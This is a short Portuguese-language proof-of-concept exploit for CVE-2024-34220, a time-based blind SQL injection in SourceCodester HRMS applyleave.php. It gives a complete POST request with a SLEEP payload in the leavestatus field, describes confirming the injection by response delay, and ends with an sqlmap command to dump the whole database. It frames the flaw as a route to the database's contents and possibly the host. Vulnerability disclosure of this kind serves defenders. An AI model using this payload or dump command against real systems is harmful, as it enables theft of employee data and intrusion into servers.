
Exploit de prova de conceito para CVE-2024-34220, uma vulnerabilidade de injeção SQL cega baseada em tempo no SourceCodester HRMS applyleave.php, com automação sqlmap para extração de banco de dados.
applyleave.php
Injeção de SQL
Os atacantes podem explorar essa vulnerabilidade para obter privilégios de banco de dados, o que pode resultar em uma grande quantidade de dados no banco de dados. Se o banco de dados da outra parte tiver privilégios de DBA, isso pode levar à obtenção de privilégios do host do servidor.
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
Após executar este Payload, o tempo de retorno dos dados é atrasado em 5 segundos, indicando que podemos ter executado com sucesso "sleep(5)". Nesse caso, o atraso pode ser várias vezes. Vamos verificar abaixo:

Após executar este Payload, o tempo de retorno dos dados é atrasado em 20 segundos, indicando que podemos ter executado com sucesso "sleep(20)". Nesse caso, o atraso pode ser várias vezes. Vamos verificar abaixo:

sqlmap -r <item request> --dump
